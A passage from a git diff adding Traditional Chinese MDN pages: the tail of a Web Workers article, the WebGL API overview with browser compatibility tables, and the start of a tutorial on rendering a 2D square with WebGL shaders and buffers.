+<p>大多數 Javascript 的功能 workre 皆可以使用，包含：</p>
+
+<ul>
+ <li>{{domxref("Navigator")}}</li>
+ <li>{{domxref("XMLHttpRequest")}}</li>
+ <li>{{jsxref("Global_Objects/Array", "Array")}}, {{jsxref("Global_Objects/Date", "Date")}}, {{jsxref("Global_Objects/Math", "Math")}}, 與 {{jsxref("Global_Objects/String", "String")}}</li>
+ <li>{{domxref("Window.requestAnimationFrame")}}, {{domxref("WindowTimers.setTimeout")}}, 與 {{domxref("WindowTimers.setInterval")}}</li>
+</ul>
+
+<p>worker 無法操作主頁面的物件與 DOM，如有相關需求，必須要間接透過 {{domxref("DedicatedWorkerGlobalScope.postMessage")}} 通知主頁面，讓主頁面執行需求。</p>
+
+<div class="note">
+<p><strong>Note</strong>: 所有 worker 可存取功能一覽表，請見 <a href="/en-US/docs/Web/Reference/Functions_and_classes_available_to_workers">Functions and interfaces available to workers</a>.</p>
+</div>
+
+<h2 id="標準規範">標準規範</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#toc-workers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change from {{SpecName("Web Workers")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Workers')}}</td>
+   <td>{{Spec2('Web Workers')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop("1.9.1")}}</td>
+   <td>10.0</td>
+   <td>10.6<sup>[1]</sup></td>
+   <td>4<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>4<sup>[1]</sup></td>
+   <td>{{CompatGeckoDesktop(29)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>10.6</td>
+   <td>4<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>Passing data using <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a></td>
+   <td>13</td>
+   <td>{{CompatGeckoDesktop(8)}}</td>
+   <td>10.0</td>
+   <td>11.5</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Passing data using <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects">transferable objects</a></td>
+   <td>17 {{property_prefix("webkit")}}<br>
+    21</td>
+   <td>{{CompatGeckoDesktop(18)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>15</td>
+   <td>6</td>
+  </tr>
+  <tr>
+   <td>Global {{domxref("window.URL", "URL")}}</td>
+   <td>10<sup>[3]</sup><br>
+    23</td>
+   <td>{{CompatGeckoDesktop(21)}}</td>
+   <td>11</td>
+   <td>15</td>
+   <td>6<sup>[3]</sup></td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome Mobile</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4</td>
+   <td>4<sup>[1]</sup></td>
+   <td>3.5</td>
+   <td>1.0.1</td>
+   <td>10.0</td>
+   <td>11.5<sup>[1]</sup></td>
+   <td>5.1<sup>[2]</sup></td>
+  </tr>
+  <tr>
+   <td>Shared workers</td>
+   <td>{{CompatNo}}</td>
+   <td>4<sup>[1]</sup></td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Passing data using <a href="/en-US/docs/Web/Guide/API/DOM/The_structured_clone_algorithm">structured cloning</a></td>
+   <td>{{CompatNo}}</td>
+   <td>4</td>
+   <td>8</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Passing data using <a class="external" href="http://www.w3.org/html/wg/drafts/html/master/infrastructure.html#transferable-objects">transferable objects</a></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>18</td>
+   <td>1.0.1</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Chrome 和 Opera 會丟出錯誤："<code>Uncaught SecurityError: Failed to construct 'Worker': Script at 'file:///Path/to/worker.js' cannot be accessed from origin 'null'.</code>"，當從 local 端而非網域執行 worker。</p>
+
+<p>[2] Safari 7.1.2 可以從 worker 呼叫 <code>console.log，但並不會任何效果，而更早的版本則是不允許呼叫</code> <code>console.log。</code></p>
+
+<p>[3] 會有前綴 <code>webkitURL</code>.</p>
+
+<h2 id="延伸閱讀">延伸閱讀</h2>
+
+<ul>
+ <li><code><a class="internal" href="/en-US/docs/Web/API/Worker">Worker</a></code> interface</li>
+ <li><code><a class="internal" href="/en-US/docs/Web/API/SharedWorker">SharedWorker</a></code> interface</li>
+ <li><a href="/en-US/docs/Web/API/Worker/Functions_and_classes_available_to_workers">Functions available to workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API/Using_web_workers">Advanced concepts and examples</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/webgl_api/index.html b/files/zh-tw/web/api/webgl_api/index.html
new file mode 100644
index 0000000000..561594474c
--- /dev/null
+++ b/files/zh-tw/web/api/webgl_api/index.html
@@ -0,0 +1,255 @@
+---
+title: WebGL
+slug: Web/API/WebGL_API
+tags:
+  - WebGL
+translation_of: Web/API/WebGL_API
+---
+<p>{{WebGLSidebar}}</p>
+
+<p class="summary">WebGL (Web Graphics Library) 是一個透過瀏覽器渲染3D及2D圖像的 JavaScript API ，且不需要安裝任何插件。 WebGL 透過與OpenGL ES 2.0緊密連結的API，將3D圖像帶入HTML5中，並可透過canvas元素呈現於瀏覽器中</p>
+
+<p>Support for WebGL is present in <a href="/en-US/Firefox" title="Firefox 4 for developers">Firefox</a> 4+, <a href="http://www.google.com/chrome/" title="http://www.google.com/chrome/">Google Chrome</a> 9+, <a href="http://www.opera.com/" title="http://www.opera.com/">Opera</a> 12+, <a href="http://www.apple.com/safari/" title="http://www.apple.com/fr/safari/">Safari </a>5.1+ 以及 <a href="http://windows.microsoft.com/en-us/internet-explorer/browser-ie" title="http://windows.microsoft.com/en-us/internet-explorer/download-ie">Internet Explorer</a> 11+; 然而，使用者的 GPU 也必須支援。</p>
+
+<div class="cleared row topicpage-table">
+<div class="section">
+<h2 class="Documentation" id="Development_topics">Development topics</h2>
+
+<dl>
+ <dt><a href="/zh-TW/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL" title="WebGL/Getting started with WebGL">從 WebGL 開始吧</a></dt>
+ <dd>如何設立一個 WebGL 環境。</dd>
+ <dt><a href="/zh-TW/docs/Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context" title="WebGL/Adding 2D content to a WebGL context">增加 2D 的東西到 WebGL 環境</a></dt>
+ <dd>如何使用 WebGL 來呈現一個簡單的平面形狀。</dd>
+ <dt><a href="/en-US/docs/WebGL/Using_shaders_to_apply_color_in_WebGL" title="WebGL/Using shaders to apply color in WebGL">Using shaders to apply color in WebGL</a></dt>
+ <dd>Demonstrates how to add color to shapes using shaders.</dd>
+ <dt><a href="/en-US/docs/WebGL/Animating_objects_with_WebGL" title="WebGL/Animating objects with WebGL">Animating objects with WebGL</a></dt>
+ <dd>Shows how to rotate and translate objects to create simple animations.</dd>
+ <dt><a href="/en-US/docs/WebGL/Creating_3D_objects_using_WebGL" title="WebGL/Creating 3D objects using WebGL">Creating 3D objects using WebGL</a></dt>
+ <dd>Shows how to create and animate a 3D object (in this case, a cube).</dd>
+ <dt><a href="/en-US/docs/WebGL/Using_textures_in_WebGL" title="WebGL/Using textures in WebGL">Using textures in WebGL</a></dt>
+ <dd>Demonstrates how to map textures onto the faces of an object.</dd>
+ <dt><a href="/en-US/docs/WebGL/Lighting_in_WebGL" title="WebGL/Lighting in WebGL">Lighting in WebGL</a></dt>
+ <dd>How to simulate lighting effects in your WebGL context.</dd>
+ <dt><a href="/en-US/docs/WebGL/Animating_textures_in_WebGL" title="WebGL/Animating textures in WebGL">Animating textures in WebGL</a></dt>
+ <dd>Shows how to animate textures; in this case, by mapping an Ogg video onto the faces of a rotating cube.</dd>
+ <dt><a href="/en-US/docs/WebGL/WebGL_best_practices" title="WebGL/WebGL best practices">WebGL best practices</a></dt>
+ <dd>Tips and suggestions to improve your WebGL content.</dd>
+ <dt><a href="/en-US/docs/WebGL/Cross-Domain_Textures" title="WebGL/Cross-Domain Textures">Cross-domain textures</a></dt>
+ <dd>Information about loading textures from domains other than the one from which your content was loaded.</dd>
+ <dt><a href="/en-US/docs/WebGL/Using_Extensions" title="WebGL/Using_Extensions">Using extensions</a></dt>
+ <dd>How to use extensions that are available in WebGL.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Related_Topics" id="資源">資源</h2>
+
+<dl>
+ <dt><a class="link-https" href="https://www.khronos.org/registry/webgl/specs/1.0/" title="https://www.khronos.org/registry/webgl/specs/1.0/">WebGL Specification</a></dt>
+ <dd>The WebGL specification.</dd>
+ <dt><a href="http://www.khronos.org/webgl/" title="http://www.khronos.org/webgl/">Khronos WebGL site</a></dt>
+ <dd>The main web site for WebGL at the Khronos Group.</dd>
+ <dt><a href="http://learningwebgl.com/blog/?page_id=1217" title="http://learningwebgl.com/blog/">Learning WebGL</a></dt>
+ <dd>A site with tutorials on how to use WebGL.</dd>
+ <dt><a href="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/" title="http://www.html5rocks.com/en/tutorials/webgl/webgl_fundamentals/">WebGL Fundamentals</a></dt>
+ <dd>A basic tutorial with fundamentals of WebGL.</dd>
+ <dt><a href="http://games.greggman.com/game/webgl-2d-matrices/">WebGL Matrices</a></dt>
+ <dd>An introduction to matrices' use in 2D WebGL. This series also goes on to explain the math behind perspective 3D.</dd>
+ <dt><a href="http://learningwebgl.com/cookbook/index.php/" title="http://learningwebgl.com/cookbook/index.php/">The WebGL Cookbook</a></dt>
+ <dd>A web site with handy recipes for writing WebGL code.</dd>
+ <dt><a href="http://planet-webgl.org/" title="http://planet-webgl.org/">Planet WebGL</a></dt>
+ <dd>A feed aggregator for people involved in the WebGL community.</dd>
+ <dt><a href="http://code.google.com/p/ewgl-matrices/" title="http://code.google.com/p/ewgl-matrices/">ewgl-matrices</a></dt>
+ <dd>A blazing fast matrix library for WebGL</dd>
+ <dt><a class="link-https" href="https://github.com/toji/gl-matrix" title="https://github.com/toji/gl-matrix">glMatrix</a></dt>
+ <dd>JavaScript Matrix and Vector library for High Performance WebGL apps</dd>
+ <dt><a href="http://code.google.com/p/webgl-mjs/" title="http://code.google.com/p/webgl-mjs/">mjs</a></dt>
+ <dd><span>A JavaScript vector and matrix math library, optimized for WebGL usage.</span></dd>
+ <dt><a href="http://sylvester.jcoglan.com/" title="http://sylvester.jcoglan.com/">Sylvester</a></dt>
+ <dd>An open source library for manipulating vectors and matrices. Not optimized for WebGL but extremely robust.</dd>
+ <dt><a href="http://webglplayground.net" title="http://webglplayground.net">WebGL playground</a></dt>
+ <dd>An online tool for creating and sharing WebGL projects. Good for quick prototyping and experimenting.</dd>
+ <dt><a href="http://www.webglacademy.com" title="http://www.webglacademy.com">WebGL Academy</a></dt>
+ <dd>An HTML/Javascript editor with tutorials to learn basics of webgl programming.</dd>
+ <dt> </dt>
+</dl>
+</div>
+</div>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>基本支援</td>
+   <td>{{CompatGeckoDesktop("2.0")}}</td>
+   <td>9</td>
+   <td>11</td>
+   <td>12 (experiment)</td>
+   <td>5.1 (experiment)</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt" title="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt"><code>OES_texture_float</code></a></td>
+   <td>{{CompatGeckoDesktop("6.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/" title="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/"><code>OES_standard_derivatives</code></a></td>
+   <td>{{CompatGeckoDesktop("10.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/WebGL/Using_Extensions#EXT_texture_filter_anisotropic" title="WebGL/Using_Extensions#EXT_texture_filter_anisotropic"><code>EXT_texture_filter_anisotropic</code></a></td>
+   <td>{{CompatGeckoDesktop("13.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc" title="WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc"><code>WEBGL_compressed_texture_s3tc</code></a></td>
+   <td>{{CompatGeckoDesktop("15.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>drawingBufferWidth</code> and <code>drawingBufferHeight</code> attributes</td>
+   <td>{{CompatGeckoDesktop("9.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Chrome for Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4</td>
+   <td>25 (experiment)</td>
+   <td>{{CompatNo}}</td>
+   <td>12 (experiment)</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>drawingBufferWidth</code> and <code>drawingBufferHeight</code> attributes</td>
+   <td>{{CompatGeckoMobile("9.0")}}</td>
+   <td>25</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt" title="http://www.khronos.org/registry/gles/extensions/OES/OES_texture_float.txt"><code>OES_texture_float</code></a></td>
+   <td>{{CompatGeckoMobile("6.0")}}</td>
+   <td>25</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/" title="http://www.khronos.org/registry/webgl/extensions/OES_standard_derivatives/"><code>OES_standard_derivatives</code></a></td>
+   <td>{{CompatGeckoMobile("10.0")}}</td>
+   <td>25</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/WebGL/Using_Extensions#EXT_texture_filter_anisotropic" title="WebGL/Using_Extensions#EXT_texture_filter_anisotropic"><code>EXT_texture_filter_anisotropic</code></a></td>
+   <td>{{CompatGeckoMobile("13.0")}}</td>
+   <td>25</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>OES_element_index_uint</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>25</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>OES_vertex_array_object</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>25</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><a href="/en-US/docs/WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc" title="WebGL/Using_Extensions#WEBGL_compressed_texture_s3tc"><code>WEBGL_compressed_texture_s3tc</code></a></td>
+   <td>{{CompatGeckoMobile("15.0")}}</td>
+   <td>25<br>
+    prefixed with <span style="color: #222222; font-family: courier new,monospace; font-size: 12.66px; line-height: normal; white-space: pre-wrap;">WEBKIT_</span></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+  <tr>
+   <td><code>WEBKIT_EXT_texture_filter_nisotropic</code></td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h3 id="相容性小記">相容性小記</h3>
+
+<p>In addition to the browser, the GPU itself also needs to support the feature. So, for example, S3 Texture Compression (S3TC) is only available on Tegra-based tablets. Most browsers make the WebGL context available through the <code>webgl</code> context name, but older ones need <code>experimental-webgl</code> as well. In addition, the upcoming WebGL 2 is fully backwards-compatible and will have the context name <code>experimental-webgl2</code> in the future for testing.</p>
+
+<h3 id="Gecko_小記">Gecko 小記</h3>
+
+<h4 id="WebGL_debugging_and_testing">WebGL debugging and testing</h4>
+
+<p>Starting with Gecko 10.0 {{geckoRelease("10.0")}}, there are two preferences available which let you control the capabilities of WebGL for testing purposes:</p>
+
+<dl>
+ <dt><code>webgl.min_capability_mode</code></dt>
+ <dd>A Boolean property that, when <code>true</code>, enables a minimum capability mode. When in this mode, WebGL is configured to only support the bare minimum feature set and capabilities required by the WebGL specification. This lets you ensure that your WebGL code will work on any device or browser, regardless of their capabilities. This is <code>false</code> by default.</dd>
+ <dt><code>webgl.disable_extensions</code></dt>
+ <dd>A Boolean property that, when <code>true</code>, disables all WebGL extensions. This is <code>false</code> by default.</dd>
+</dl>
+
+<h2 id="你也可以看看">你也可以看看</h2>
+
+<p>Raw WebGL: a talk by Nick Desaulniers:</p>
+
+<p>{{EmbedYouTube("H4c8t6myAWU")}}</p>
diff --git a/files/zh-tw/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html b/files/zh-tw/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
new file mode 100644
index 0000000000..45de8b801f
--- /dev/null
+++ b/files/zh-tw/web/api/webgl_api/tutorial/adding_2d_content_to_a_webgl_context/index.html
@@ -0,0 +1,280 @@
+---
+title: 增加一個 2D 物件到 WebGL 環境
+slug: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
+---
+<div>{{WebGLSidebar("Tutorial")}} {{PreviousNext("Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL", "Web/API/WebGL_API/Tutorial/Using_shaders_to_apply_color_in_WebGL")}}</div>
+
+<p>當你<a href="/zh-TW/docs/Web/API/WebGL_API/Tutorial/Getting_started_with_WebGL">建立了WebGL的context</a>後，便可開始渲染。最簡單的例子就是加入一個普通的正方形。接下來，我們會介紹如何畫一個正方形。</p>
+
+<h2 id="畫場景">畫場景</h2>
+
+<p>首先我們需要知道雖然這個範例只是要畫一個正方形，但我們還是在3D的空間裡作圖。基本上，我們就是畫一個正方形並把它放在相機前面，使正方形與使用者的視角垂直。我們要定義一個 shader，透過它來渲染我們的物件。接下來，我們會展示如何在螢幕前顯示一個正方形。</p>
+
+<h3 id="Shader">Shader</h3>
+
+<p>WebGL Shader使用 <a href="https://www.khronos.org/files/opengles_shading_language.pdf">OpenGL ES Shading Language</a>。 這邊不討論 shader 的細節的，但簡而言之，我們需要定義兩個shader (GPU上可執行的函數): vertex shader 和 fragment shader。這兩個 shader 會以字串的形式傳入WebGL，編譯後在GPU上執行。</p>
+
+<h4 id="Vertex_shader">Vertex shader</h4>
+
+<p>Vertex shader是用來定義一個變數 gl_Position 的值來控制畫布空間的值(-1到+1)，下面的範例，我們設了一個變數<code>aVertexPosition</code>用來記錄 vertex 的位置。接下來我們將該位置乘上兩個4x4的矩陣(<code>uProjectionMatrix</code>和<code>uModelMatrix</code>)，並將結果設定為 gl_Position 的值。如果想要了解更多關於 Projection 和其他矩陣可以參閱這篇<a href="https://webglfundamentals.org/webgl/lessons/webgl-3d-perspective.html">文件</a>。</p>
+
+<pre class="brush: html">  // Vertex shader program
+
+  const vsSource = `
+    attribute vec4 aVertexPosition;
+
+    uniform mat4 uModelViewMatrix;
+    uniform mat4 uProjectionMatrix;
+
+    void main() {
+      gl_Position = uProjectionMatrix * uModelViewMatrix * aVertexPosition;
+    }
+  `;
+</pre>
+
+<h4 id="Fragment_shader">Fragment shader</h4>
+
+<p>每次 vertex shader 給 gl_Position 1到3個值的時候，它會分別畫出點、線、三角形。畫圖的時候，會呼叫 fragment shader 來詢問每個 pixel 的顏色。在這個範例中，我們對於每次詢問都回傳白色。</p>
+
+<p><code>gl_FragColor</code> 是GL預設的變數用來定義每個 fragment 的顏色，透過設定該變數的值來定義每個 pixel 的顏色，如下：</p>
+
+<pre class="brush: html">  const fsSource = `
+    void main() {
+      gl_FragColor = vec4(1.0, 1.0, 1.0, 1.0);
+    }
+  `;
+</pre>
+
+<h3 id="初始化_shader">初始化 shader</h3>
+
+<p>現在我們已經定義了兩個 shader ，我們接下來要將它們傳入WebGL，編譯並連結。下面的程式碼呼叫了 loadShader 來建立兩個shader。接下來，我們要新增一個程式，並將 shader 加入該程式，並將程式連結起來。如果編譯或連接失敗，程式碼會顯示錯誤訊息。</p>
+
+<p> </p>
+
+<pre class="brush: js">//
+// 初始化 shader 來告知WebGL怎麼畫
+//
+function initShaderProgram(gl, vsSource, fsSource) {
+  const vertexShader = loadShader(gl, gl.VERTEX_SHADER, vsSource);
+  const fragmentShader = loadShader(gl, gl.FRAGMENT_SHADER, fsSource);
+
+  // 建立 shader 程式
+
+  const shaderProgram = gl.createProgram();
+  gl.attachShader(shaderProgram, vertexShader);
+  gl.attachShader(shaderProgram, fragmentShader);
+  gl.linkProgram(shaderProgram);
+
+  // 錯誤處理
+
+  if (!gl.getProgramParameter(shaderProgram, gl.LINK_STATUS)) {
+    alert('Unable to initialize the shader program: ' + gl.getProgramInfoLog(shaderProgram));
+    return null;
+  }
+
+  return shaderProgram;
+}
+
+//
+// creates a shader of the given type, uploads the source and
+// compiles it.
+//
+function loadShader(gl, type, source) {
+  const shader = gl.createShader(type);
+
+  // Send the source to the shader object
+
+  gl.shaderSource(shader, source);
+
+  // Compile the shader program
+
+  gl.compileShader(shader);
+
+  // See if it compiled successfully
+
+  if (!gl.getShaderParameter(shader, gl.COMPILE_STATUS)) {
+    alert('An error occurred compiling the shaders: ' + gl.getShaderInfoLog(shader));
+    gl.deleteShader(shader);
+    return null;
+  }
+
+  return shader;
+}
+</pre>
+
+<p> </p>
+
+<p>我們可以透過呼叫 initShaderProgram 來建立 shader 程式</p>
+
+<pre class="brush: js">  const shaderProgram = initShaderProgram(gl, vsSource, fsSource);
+</pre>
+
+<p>接下來我們需要找到 WebGL 生成出的位置。這個例子中我們有一個 attribute、兩個 uniform。 Attributes 從 buffer 獲得值。每次迭代時，vertex shader 從 buffer 得到下一個值並傳入到 attribute。 Uniform 則像是 Javascript 的全域變數。每次迭代，他們的值不會改變。為了之後方便，我們將 shader 程式與 attribute 和 uniform 存放在同一個物件中。</p>
+
+<pre class="brush: js">  const programInfo = {
+    program: shaderProgram,
+    attribLocations: {
+      vertexPosition: gl.getAttribLocation(shaderProgram, 'aVertexPosition'),
+    },
+    uniformLocations: {
+      projectionMatrix: gl.getUniformLocation(shaderProgram, 'uProjectionMatrix'),
+      modelViewMatrix: gl.getUniformLocation(shaderProgram, 'uModelViewMatrix'),
+    },
+  };
+</pre>
+
+<h2 id="建立正方形平面">建立正方形平面</h2>
+
+<p>在我們渲染前，我們要建立一個 buffer 用來儲存頂點的座標。在此我們宣告一個函數 <code>initBuffers()</code> ，隨著之後建立更多複雜的物件，這個動作會重複見到很多次。</p>
+
+<pre class="brush: js">function initBuffers(gl) {
+
+  // 建立一個 buffer 來儲存正方形的座標
+
+  const positionBuffer = gl.createBuffer();
+
+  // Select the positionBuffer as the one to apply buffer
+  // operations to from here out.
+
+  gl.bindBuffer(gl.ARRAY_BUFFER, positionBuffer);
+
+  // Now create an array of positions for the square.
+
+  const positions = [
+     1.0,  1.0,
+    -1.0,  1.0,
+     1.0, -1.0,
+    -1.0, -1.0,
+  ];
+
+  // Now pass the list of positions into WebGL to build the
+  // shape. We do this by creating a Float32Array from the
+  // JavaScript array, then use it to fill the current buffer.
+
+  gl.bufferData(gl.ARRAY_BUFFER,
+                new Float32Array(positions),
+                gl.STATIC_DRAW);
+
+  return {
+    position: positionBuffer,
+  };
+}
+</pre>
+
+<p>這個步驟非常簡單，一開始呼叫<code>gl</code>物件的函數 {{domxref("WebGLRenderingContext.createBuffer()", "createBuffer()")}} 來產生一個儲存座標的 buffer，並將將該 buffer 綁定 WebGL 的 context。</p>
+
+<p>完成後，我們宣告一個陣列來儲存正方形平面各頂點的座標，並轉型為浮點數陣列並用{{domxref("WebGLRenderingContext.bufferData()", "bufferData()")}}函數傳入 <code>gl</code> 物件。</p>
+
+<h2 id="渲染場景">渲染場景</h2>
+
+<p>Shader 建立好了、位置也確定好了、正方形平面頂點的位置也已經放到 buffer後，我們就可以實際來渲染場景了。因為這個例子沒有任何的動畫，<code>drawScene()</code>函數非常單純。</p>
+
+<pre class="brush: js">function drawScene(gl, programInfo, buffers) {
+  gl.clearColor(0.0, 0.0, 0.0, 1.0);  // 設定為全黑
+  gl.clearDepth(1.0);                 // 清除所有東西
+  gl.enable(gl.DEPTH_TEST);           // Enable 深度測試
+  gl.depthFunc(gl.LEQUAL);            // Near things obscure far things
+
+  // 開始前先初始化畫布
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  // Create a perspective matrix, a special matrix that is
+  // used to simulate the distortion of perspective in a camera.
+  // Our field of view is 45 degrees, with a width/height
+  // ratio that matches the display size of the canvas
+  // and we only want to see objects between 0.1 units
+  // and 100 units away from the camera.
+
+  const fieldOfView = 45 * Math.PI / 180;   // in radians
+  const aspect = gl.canvas.clientWidth / gl.canvas.clientHeight;
+  const zNear = 0.1;
+  const zFar = 100.0;
+  const projectionMatrix = mat4.create();
+
+  // note: glmatrix.js always has the first argument
+  // as the destination to receive the result.
+  mat4.perspective(projectionMatrix,
+                   fieldOfView,
+                   aspect,
+                   zNear,
+                   zFar);
+
+  // Set the drawing position to the "identity" point, which is
+  // the center of the scene.
+  const modelViewMatrix = mat4.create();
+
+  // Now move the drawing position a bit to where we want to
+  // start drawing the square.
+
+  mat4.translate(modelViewMatrix,     // destination matrix
+                 modelViewMatrix,     // matrix to translate
+                 [-0.0, 0.0, -6.0]);  // amount to translate
+
+  // Tell WebGL how to pull out the positions from the position
+  // buffer into the vertexPosition attribute.
+  {
+    const numComponents = 2;  // pull out 2 values per iteration
+    const type = gl.FLOAT;    // the data in the buffer is 32bit floats
+    const normalize = false;  // don't normalize
+    const stride = 0;         // how many bytes to get from one set of values to the next
+                              // 0 = use type and numComponents above
+    const offset = 0;         // how many bytes inside the buffer to start from
+    gl.bindBuffer(gl.ARRAY_BUFFER, buffers.position);
+    gl.vertexAttribPointer(
+        programInfo.attribLocations.vertexPosition,
+        numComponents,
+        type,
+        normalize,
+        stride,
+        offset);
+    gl.enableVertexAttribArray(
+        programInfo.attribLocations.vertexPosition);
+  }
+
+  // Tell WebGL to use our program when drawing
+
+  gl.useProgram(programInfo.program);
+
+  // Set the shader uniforms
+
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.projectionMatrix,
+      false,
+      projectionMatrix);
+  gl.uniformMatrix4fv(
+      programInfo.uniformLocations.modelViewMatrix,
+      false,
+      modelViewMatrix);
+
+  {
+    const offset = 0;
+    const vertexCount = 4;
+    gl.drawArrays(gl.TRIANGLE_STRIP, offset, vertexCount);
+  }
+}
+
